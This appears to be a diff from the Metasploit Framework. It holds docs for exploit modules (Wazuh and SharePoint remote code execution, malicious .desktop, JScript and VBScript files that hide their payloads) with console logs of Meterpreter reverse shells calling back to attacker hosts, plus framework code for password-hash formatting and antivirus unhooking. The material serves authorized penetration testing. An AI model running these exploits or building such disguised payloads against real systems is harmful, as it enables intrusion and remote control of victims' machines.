variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST 192.168.201.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL,WGET:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
When FETCH_FILELESS is none:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME WqYFaNqq no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
Id Name
-- ----
0 Unix/Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Wazuh version 4.8.2
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3090404 bytes) to 192.168.201.85
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000
meterpreter > getuid
Server username: wazuh
meterpreter > sysinfo
Computer : wazuh.master
OS : (Linux 6.10.14-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/
meterpreter >
```
## Limitations
This module works only on a Wazuh Server multi-node cluster configuration.
@@ -0,0 +1,122 @@
## Vulnerable Application
This module creates a malicious XDG Desktop (.desktop) file.
On most modern systems, desktop files are not trusted by default.
The user will receive a warning prompt that the file is not trusted
when running the file, but may choose to run the file anyway.
The default file manager applications in some desktop environments
may impose more strict execution requirements by prompting the user
to set the file as executable and/or marking the file as trusted
before the file can be executed.
## Options
### FILENAME
The desktop file name. (Default: `msf.desktop`)
### APPLICATION_NAME
The application name. Some file managers will display this name instead of the file name. (Default: random)
## Advanced Options
### PrependNewLines
Prepend new lines before the payload. (Default: `100`)
## Verification Steps
On the Metasploit host:
1. Start msfconsole
1. Do: `use exploit/multi/fileformat/xdg_desktop`
1. Do: `set filename [filename.desktop]`
1. Do: `set payload [payload]`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `run`
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
On the target machine:
1. Open the `msf.desktop` file
1. If prompted, choose "Launch Anyway"
## Scenarios
### Ubuntu MATE 24.04.2 (x86_64)
```
msf > use exploit/multi/fileformat/xdg_desktop
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf exploit(multi/fileformat/xdg_desktop) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/fileformat/xdg_desktop) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(multi/fileformat/xdg_desktop) > set lport 4444
lport => 4444
msf exploit(multi/fileformat/xdg_desktop) > set FETCH_COMMAND wget
FETCH_COMMAND => WGET
msf exploit(multi/fileformat/xdg_desktop) > run
[+] msf.desktop stored at /root/.msf4/local/msf.desktop
msf exploit(multi/fileformat/xdg_desktop) > handler -p cmd/linux/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.200.130:4444
msf exploit(multi/fileformat/xdg_desktop) >
[*] Sending stage (3090404 bytes) to 192.168.200.193
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.193:52462) at 2025-07-29 03:29:10 -0400
msf exploit(multi/fileformat/xdg_desktop) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : linuxmint-mate-24-04.2-desktop-amd64
OS : Ubuntu 24.04 (Linux 6.14.0-24-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Linux Mint 22.1 (MATE) (x86_64)
```
msf > use exploit/multi/fileformat/xdg_desktop
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf exploit(multi/fileformat/xdg_desktop) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/fileformat/xdg_desktop) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(multi/fileformat/xdg_desktop) > set lport 4444
lport => 4444
msf exploit(multi/fileformat/xdg_desktop) > set FETCH_COMMAND wget
FETCH_COMMAND => WGET
msf exploit(multi/fileformat/xdg_desktop) > run
[+] msf.desktop stored at /root/.msf4/local/msf.desktop
msf exploit(multi/fileformat/xdg_desktop) > handler -p cmd/linux/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.200.130:4444
msf exploit(multi/fileformat/xdg_desktop) >
[*] Sending stage (3090404 bytes) to 192.168.200.189
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.189:35162) at 2025-07-29 02:45:34 -0400
msf exploit(multi/fileformat/xdg_desktop) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : 192.168.200.189
OS : LinuxMint 22.1 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,89 @@
## Vulnerable Application
This module creates a Windows Script Host (WSH) JScript (.js) file.
This module has been tested successfully on:
* Microsoft Windows 7 Professional SP1 (x86_64)
* Microsoft Windows 11 Professional 21H2 (x86_64)
## Options
### FILENAME
The JScript file name. (Default: `msf.js`).
### OBFUSCATE
Enable JavaScript obfuscation. (Default: `true`)
## Advanced Options
### PrependBenignCode
Prepend several lines of benign code at the start of the file. (Default: `true`)
### PrependNewLines
Prepend new lines before the malicious JScript. (Default: `100`)
## Verification Steps
On the Metasploit host:
1. Start msfconsole
1. Do: `use exploit/windows/fileformat/windows_script_host_jscript`
1. Do: `set filename [filename.js]`
1. Do: `set payload [payload]`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `run`
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
On the target Windows machine:
1. Ensure Windows Security is disabled
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
1. Open the `msf.js` file
1. If prompted to choose a program to open the file, select Windows Script Host
## Scenarios
### Microsoft Windows 11 Professional 21H2 (x86_64)
```
msf > use exploit/windows/fileformat/windows_script_host_jscript
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_jscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_jscript) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(windows/fileformat/windows_script_host_jscript) > set lport 4444
lport => 4444
msf exploit(windows/fileformat/windows_script_host_jscript) > run
[+] msf.js stored at /root/.msf4/local/msf.js
msf exploit(windows/fileformat/windows_script_host_jscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.200.130:4444
msf exploit(windows/fileformat/windows_script_host_jscript) >
[*] Sending stage (203846 bytes) to 192.168.200.169
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49893) at 2025-07-20 09:14:37 -0400
msf exploit(windows/fileformat/windows_script_host_jscript) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WIN-11-PRO-X64
OS : Windows 11 21H2 (10.0 Build 22000).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
@@ -0,0 +1,87 @@
## Vulnerable Application
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
This module has been tested successfully on:
* Microsoft Windows 7 Professional SP1 (x86_64)
* Microsoft Windows 11 Professional 21H2 (x86_64)
## Options
### FILENAME
The VBScript file name. (Default: `msf.vbs`).
### OBFUSCATE
Enable VBScript obfuscation. (Default: `true`)
## Advanced Options
### PrependBenignCode
Prepend several lines of benign code at the start of the file. (Default: `true`)
### PrependNewLines
Prepend new lines before the malicious VBScript. (Default: `100`)
## Verification Steps
On the Metasploit host:
1. Start msfconsole
1. Do: `use exploit/windows/fileformat/windows_script_host_vbscript`
1. Do: `set filename [filename.vbs]`
1. Do: `set payload [payload]`
1. Do: `set lhost [lhost]`
1. Do: `set lport [lport]`
1. Do: `run`
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
On the target Windows machine:
1. Ensure Windows Security is disabled
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
1. Open the `msf.vbs` file
1. If prompted to choose a program to open the file, select Windows Script Host
## Scenarios
### Microsoft Windows 11 Professional 21H2 (x86_64)
```
msf > use exploit/windows/fileformat/windows_script_host_vbscript
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_vbscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(windows/fileformat/windows_script_host_vbscript) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf exploit(windows/fileformat/windows_script_host_vbscript) > set lport 4444
lport => 4444
msf exploit(windows/fileformat/windows_script_host_vbscript) > run
[+] msf.vbs stored at /root/.msf4/local/msf.vbs
msf exploit(windows/fileformat/windows_script_host_vbscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.200.130:4444
msf exploit(windows/fileformat/windows_script_host_vbscript) > [*] Sending stage (203846 bytes) to 192.168.200.169
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49977) at 2025-07-22 11:56:01 -0400
msf exploit(windows/fileformat/windows_script_host_vbscript) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WIN-11-PRO-X64
OS : Windows 11 21H2 (10.0 Build 22000).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
```
@@ -0,0 +1,191 @@
## Vulnerable Application
This module exploits the authentication bypass vulnerabilities `CVE-2025-49706` and `CVE-2025-53771`, and an unsafe
deserialization vulnerability `CVE-2025-49704`, to achieve unauthenticated RCE against a vulnerable Microsoft
SharePoint Server. The vulnerability `CVE-2025-53770` was disclosed as being a patch bypass of `CVE-2025-49704`,
and as described by the finders, `CVE-2025-53770` targets a different endpoint within the `/_vti_bin/` URI path.
As this exploit module does not target the endpoint associated with `CVE-2025-53770` (per the original finders),
we believe this module is best described as exploiting `CVE-2025-49704` alone (and not `CVE-2025-53770`).
`CVE-2025-49706` is an authentication bypass affecting Microsoft SharePoint Server, allowing a remote unauthenticated
attacker to reach the ToolPane page, located at the `/_layouts/15/ToolPane.aspx` URI. The auth bypass works if an
attacker supplies the following elements to an HTTP request:
* An HTTP Referer header with one of the values `/_layouts/SignOut.aspx`, `/_layouts/14/SignOut.aspx`, or `/_layouts/15/SignOut.aspx`.
* An HTTP query parameter named `DisplayMode` with the value `Edit`.
* An HTTP query parameter with any name and the value `/ToolPane.aspx`, so long as this is the last query parameter.
* An HTTP form parameter named `MSOTlPn_Uri` with the full URL to the `/_controltemplates/15/AclEditor.ascx` endpoint.
`CVE-2025-53771` is a patch bypass for `CVE-2025-49706`. By appending a trailing `/` to the target
`/_layouts/15/ToolPane.aspx` URI, e.g. `/_layouts/15/ToolPane.aspx/` a remote unauthenticated attacker can reach
the ToolPane page.
`CVE-2025-49704` is an unsafe deserialization vulnerability due to bypassing a filter list to allow the instantiation of
`LosFormatter` and `ObjectDataProvider` in the `diffgr:diffgram` XML document, allowing us to kick off a second
stage deserialization gadget (which will be a `TypeConfuseDelegate` + `LosFormatter` gadget chain).
The July 8, 2025, patch for `CVE-2025-49704` did not apply correctly to a SharePoint site that had not also manually run
a SharePoint configuration update. The patch for `CVE-2025-49704` did not address the root cause, and instead marked the
`Microsoft.PerformancePoint.Scorecards.Client` assembly as unsafe. The July 19, 2025, patch for `CVE-2025-53770`
addresses the root cause of `CVE-2025-49704` and does not rely on a manual configuration update to be performed in
order to be affective.
## Testing
This exploit module has been successfully tested against the following versions:
* SharePoint Server 2019 `16.0.10337.12109` - This is the RTM version. Is vulnerable to all 4 CVEs. Exploitation
is reliable.
* SharePoint Server 2019 `16.0.10417.20018` - This is the June 2025 patch level (`KB 5002729)`. Is vulnerable to
all 4 CVEs. Exploitation is reliable.
* SharePoint Server 2019 `16.0.10417.20027` - This is the July 2025 patch level (`KB 5002741`). This patched
out `CVE-2025-49704` and `CVE-2025-49706`, but is vulnerable to `CVE-2025-53770` and `CVE-2025-53771`. Exploitation is
reliable **unless the site administrator has manually performed a configuration update**.
### Setup
Installing Microsoft SharePoint is non-trivial. This [setup guide](https://gist.github.com/testanull/e1573437f91ec3726ab5041389c6f28d)
is a great step-by-step tutorial to get up and running.
After you install SharePoint, you must create a new site, bound to a new port. This is what the exploit will target.
_NOTE: If you enable HTTPS, you will need to manually setup certificates via IIS Manager._
## Verification Steps
1. Start msfconsole
2. `use exploit/windows/http/sharepoint_toolpane_rce`
Configure the target:
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>`
5. `set SSL true` (If targeting HTTPS)
Configure the payload:
_NOTE: If testing with the default Meterpreter payloads, you will likely need to disable Defender._
6. `set PAYLOAD cmd/windows/http/x64/meterpreter_reverse_tcp`
7. `set LHOST eth0`
8. `set LPORT 4444`
Run the exploit:
9. `check`
10. `exploit`
## Scenarios
### Example 1 (cmd/windows/http/x64/meterpreter_reverse_tcp)
```
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
Module options (exploit/windows/http/sharepoint_toolpane_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME ccMNrNsj no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf exploit(windows/http/sharepoint_toolpane_rce) > check
[*] 192.168.86.50:80 - The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
[*] Meterpreter session 3 opened (192.168.86.122:4444 -> 192.168.86.50:62290) at 2025-07-23 12:58:41 +0100
meterpreter > sysinfo
Computer : WIN-V28QNSO2H05
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : TESTDOMAIN
Logged On Users : 24
Meterpreter : x64/windows
meterpreter > pwd
c:\windows\system32\inetsrv
meterpreter >
```
### Example 2 (cmd/windows/generic)
```
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
Module options (exploit/windows/http/sharepoint_toolpane_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/windows/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD notepad.exe yes The command string to execute
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
[*] Exploit completed, but no session was created.
msf exploit(windows/http/sharepoint_toolpane_rce) >
```
You will be able to observe in Task Manager or Process Explorer that the `w3wp.exe` process has spawned `cmd.exe` which
has spawned `notepad.exe`.
+2 -11
View File
@@ -111,20 +111,11 @@ module Metasploit
def ldap_auth_opts_schannel(opts, ssl)
auth_opts = {}
pfx_path = opts[:ldap_cert_file]
raise Msf::ValidationError, 'The SSL option must be enabled when using Schannel authentication.' unless ssl
raise Msf::ValidationError, 'Can not sign and seal when using Schannel authentication.' if opts.fetch(:sign_and_seal, false)
if pfx_path.present?
unless ::File.file?(pfx_path) && ::File.readable?(pfx_path)
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.'
end
begin
pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '')
rescue StandardError => e
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
end
if opts[:ldap_pkcs12].present?
pkcs = opts[:ldap_pkcs12][:value]
else
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(
framework: opts[:framework],
@@ -119,6 +119,10 @@ module Metasploit
public_send("#{attribute}=", value)
end
end
def get_type
self.cracker
end
# This method takes a {framework.db.cred.private.jtr_format} (string), and
# returns the string number associated to the hashcat format
@@ -300,22 +304,19 @@ module Metasploit
if cracker_path && ::File.file?(cracker_path)
return cracker_path
else
# Look in the Environment PATH for the john binary
if cracker == 'john'
path = Rex::FileUtils.find_full_path('john') ||
Rex::FileUtils.find_full_path('john.exe')
elsif cracker == 'hashcat'
path = Rex::FileUtils.find_full_path('hashcat') ||
Rex::FileUtils.find_full_path('hashcat.exe')
case cracker
when 'hashcat'
path = get_hashcat
when 'john'
path = get_john
when 'auto'
path = get_john || get_hashcat
else
raise PasswordCrackerNotFoundError, 'No suitable Cracker was selected, so a binary could not be found on the system'
raise PasswordCrackerNotFoundError, 'No suitable Cracker was selected, so a binary could not be found on the system JOHN || HASHCAT'
end
raise PasswordCrackerNotFoundError, 'No suitable john/hashcat binary was found on the system' unless path && ::File.file?(path)
if path && ::File.file?(path)
return path
end
raise PasswordCrackerNotFoundError, 'No suitable john/hashcat binary was found on the system'
return path
end
end
@@ -575,6 +576,20 @@ module Metasploit
end
cmd << hash_path
end
def get_hashcat
# Look in the Environment PATH for the hashcat binary
self.cracker = 'hashcat'
Rex::FileUtils.find_full_path('hashcat') ||
Rex::FileUtils.find_full_path('hashcat.exe')
end
def get_john
self.cracker = 'john'
# Look in the Environment PATH for the john binary
Rex::FileUtils.find_full_path('john') ||
Rex::FileUtils.find_full_path('john.exe')
end
end
end
@@ -9,19 +9,29 @@ module Metasploit
# @param cred [credClass] A credential from framework.db
# @return [String] The hash in jtr format or nil on no match.
def self.hash_to_jtr(cred)
case cred.private.type
when 'Metasploit::Credential::NTLMHash'
return "#{cred.public.username}:#{cred.id}:#{cred.private.data}:::#{cred.id}"
when 'Metasploit::Credential::PostgresMD5'
if cred.private.jtr_format =~ /postgres|raw-md5/
params_to_jtr(
(cred.public.nil? ? '' : cred.public.username),
cred.private.data,
cred.class.model_name.element.to_sym,
format: cred.private.jtr_format,
db_id: cred.id
)
end
def self.params_to_jtr(username, private_data, private_type, format: nil, db_id: nil)
case private_type
when :ntlm_hash
return "#{username}:#{db_id}:#{private_data}:::#{db_id}"
when :postgres_md5
if format =~ /postgres|raw-md5/
# john --list=subformats | grep 'PostgreSQL MD5'
# UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5)
hash_string = cred.private.data
hash_string = private_data
hash_string.gsub!(/^md5/, '')
return "#{cred.public.username}:$dynamic_1034$#{hash_string}:#{cred.id}:"
return "#{username}:$dynamic_1034$#{hash_string}:#{db_id}:"
end
when 'Metasploit::Credential::NonreplayableHash'
case cred.private.jtr_format
when :nonreplayable_hash
case format
# oracle 11+ password hash descriptions:
# this password is stored as a long ascii string with several sections
# https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/
@@ -40,33 +50,33 @@ module Metasploit
# T: = 160 characters
# PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+)
when /raw-sha1|oracle11/ # oracle 11
if cred.private.data =~ /S:([\dA-F]{60})/ # oracle 11
return "#{cred.public.username}:#{Regexp.last_match(1)}:#{cred.id}:"
if private_data =~ /S:([\dA-F]{60})/ # oracle 11
return "#{username}:#{Regexp.last_match(1)}:#{db_id}:"
end
when /oracle12c/
if cred.private.data =~ /T:([\dA-F]{160})/ # oracle 12c
return "#{cred.public.username}:$oracle12c$#{Regexp.last_match(1).downcase}:#{cred.id}:"
if private_data =~ /T:([\dA-F]{160})/ # oracle 12c
return "#{username}:$oracle12c$#{Regexp.last_match(1).downcase}:#{db_id}:"
end
when /dynamic_1506/
if cred.private.data =~ /H:([\dA-F]{32})/ # oracle 11
return "#{cred.public.username.upcase}:$dynamic_1506$#{Regexp.last_match(1)}:#{cred.id}:"
if private_data =~ /H:([\dA-F]{32})/ # oracle 11
return "#{username.upcase}:$dynamic_1506$#{Regexp.last_match(1)}:#{db_id}:"
end
when /oracle/ # oracle
if cred.private.jtr_format.start_with?('des') # 'des,oracle', not oracle11/12c
return "#{cred.public.username}:O$#{cred.public.username}##{cred.private.data}:#{cred.id}:"
if format.start_with?('des') # 'des,oracle', not oracle11/12c
return "#{username}:O$#{username}##{private_data}:#{db_id}:"
end
when /md5|des|bsdi|crypt|bf|sha256|sha512|xsha512/
# md5(crypt), des(crypt), b(crypt), sha256(crypt), sha512(crypt), xsha512
return "#{cred.public.username}:#{cred.private.data}:::::#{cred.id}:"
return "#{username}:#{private_data}:::::#{db_id}:"
when /xsha/
# xsha512
return "#{cred.public.username}:#{cred.private.data.upcase}:::::#{cred.id}:"
return "#{username}:#{private_data.upcase}:::::#{db_id}:"
when /netntlm/
return "#{cred.private.data}::::::#{cred.id}:"
return "#{private_data}::::::#{db_id}:"
when /qnx/
# https://moar.so/blog/qnx-password-hash-formats.html
hash = cred.private.data.end_with?(':0:0') ? cred.private.data : "#{cred.private.data}:0:0"
return "#{cred.public.username}:#{hash}"
hash = private_data.end_with?(':0:0') ? private_data : "#{private_data}:0:0"
return "#{username}:#{hash}"
when /Raw-MD5u/
# This is just md5(unicode($p)), where $p is the password.
# Avira uses to store their passwords, there may be other apps that also use this though.
@@ -74,12 +84,12 @@ module Metasploit
# format which is compatible, type 30, but that is listed as md5(utf16le($pass).$salt)
# with a sample hash of b31d032cfdcf47a399990a71e43c5d2a:144816. So this just outputs
# The hash as *hash*: so that it is both JTR and hashcat compatible
return "#{cred.private.data}:"
return "#{private_data}:"
when /vnc/
# add a beginning * if one is missing
return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}"
return "$vnc$#{private_data.start_with?('*') ? private_data.upcase : "*#{private_data.upcase}"}"
when /^(krb5.|timeroast$)/
return cred.private.data
return private_data
else
# /mysql|mysql-sha1/
# /mssql|mssql05|mssql12/
@@ -93,9 +103,10 @@ module Metasploit
# /mscash2/
# This also handles *other* type credentials which aren't guaranteed to have a public
return "#{cred.public.nil? ? ' ' : cred.public.username}:#{cred.private.data}:#{cred.id}:"
return "#{username}:#{private_data}:#{db_id}:"
end
end
nil
end
@@ -3,7 +3,7 @@
module Metasploit
module Framework
module RailsVersionConstraint
RAILS_VERSION = '~> 7.1.0'
RAILS_VERSION = '~> 7.2.0'
end
end
end
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.76"
VERSION = "6.4.80"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+7 -1
View File
@@ -581,7 +581,13 @@ class ReadableText
option_tables = []
options_grouped_by_conditions.sort.each do |conditions, options|
sort_by_empty_then_lexicographical = proc do |(conditions_a, _options_a), (conditions_b, _options_b)|
next -1 if conditions_a.empty?
next 1 if conditions_b.empty?
conditions_a.to_s <=> conditions_b.to_s
end
options_grouped_by_conditions.sort(&sort_by_empty_then_lexicographical).each do |conditions, options|
tbl = options_table(missing, mod, options, indent)
next if tbl.rows.empty?
+20 -22
View File
@@ -180,32 +180,30 @@ class Meterpreter < Rex::Post::Meterpreter::Client
print_warning('Meterpreter start up operations have been aborted. Use the session at your own risk.')
return nil
end
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP
if datastore['AutoUnhookProcess'] == true
console.run_single('load unhook')
console.run_single('unhook_pe')
end
unless datastore['AutoLoadStdapi'] == false
session.load_stdapi
unless datastore['AutoSystemInfo'] == false
session.load_session_info
end
# only load priv on native windows
# TODO: abstract this too, to remove windows stuff
if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
session.load_priv rescue nil
end
end
extensions = datastore['AutoLoadExtensions']&.delete(' ').split(',') || []
# BEGIN: This should be removed on MSF 7
# Unhook the process prior to loading stdapi to reduce logging/inspection by any AV/PSP (by default unhook is first, see meterpreter_options/windows.rb)
extensions.push('unhook') if datastore['AutoUnhookProcess'] && session.platform == 'windows'
extensions.push('stdapi') if datastore['AutoLoadStdapi']
extensions.push('priv') if datastore['AutoLoadStdapi'] && session.platform == 'windows'
extensions.push('android') if session.platform == 'android'
extensions = extensions.uniq
# END
original = console.disable_output
console.disable_output = true
# TODO: abstract this a little, perhaps a "post load" function that removes
# platform-specific stuff?
if session.platform == 'android'
session.load_android
extensions.each do |extension|
begin
console.run_single("load #{extension}")
console.run_single('unhook_pe') if extension == 'unhook'
session.load_session_info if extension == 'stdapi' && datastore['AutoSystemInfo']
rescue => e
print_warning("Failed loading extension #{extension}")
end
end
console.disable_output = original
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
unless datastore[key].nil? || datastore[key].empty?
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::Android
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi,android']
),
],
self.class
)
end
end
end
end
@@ -0,0 +1,31 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::AppleIos
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
),
OptString.new(
'PayloadProcessCommandLine',
[ false, 'The displayed command line that will be used by the payload', '']
),
],
self.class
)
end
end
end
end
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::Bsd
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
),
],
self.class
)
end
end
end
end
@@ -7,7 +7,7 @@ module Msf
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions
module MeterpreterOptions::Common
TIMEOUT_SESSION = 24 * 3600 * 7 # 1 week
TIMEOUT_COMMS = 300 # 5 minutes
@@ -63,14 +63,6 @@ module Msf
'SessionCommunicationTimeout',
[ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS]
),
OptString.new(
'PayloadProcessCommandLine',
[ false, 'The displayed command line that will be used by the payload', '']
),
OptBool.new(
'AutoUnhookProcess',
[true, "Automatically load the unhook extension and unhook the process", false]
),
OptBool.new(
'MeterpreterDebugBuild',
[false, 'Use a debug version of Meterpreter']
@@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'shellwords'
module Msf
module Sessions
#
# Defines common options across all Meterpreter implementations
#
module MeterpreterOptions::Java
include Msf::Sessions::MeterpreterOptions::Common
def initialize(info = {})
super(info)
register_advanced_options(
[
OptString.new(
'AutoLoadExtensions',
[true, "Automatically load extensions on bootstrap, comma separated.", 'stdapi']
),
],
self.class
)
end
end
end
end
@@ -0,0 +1,31 @@
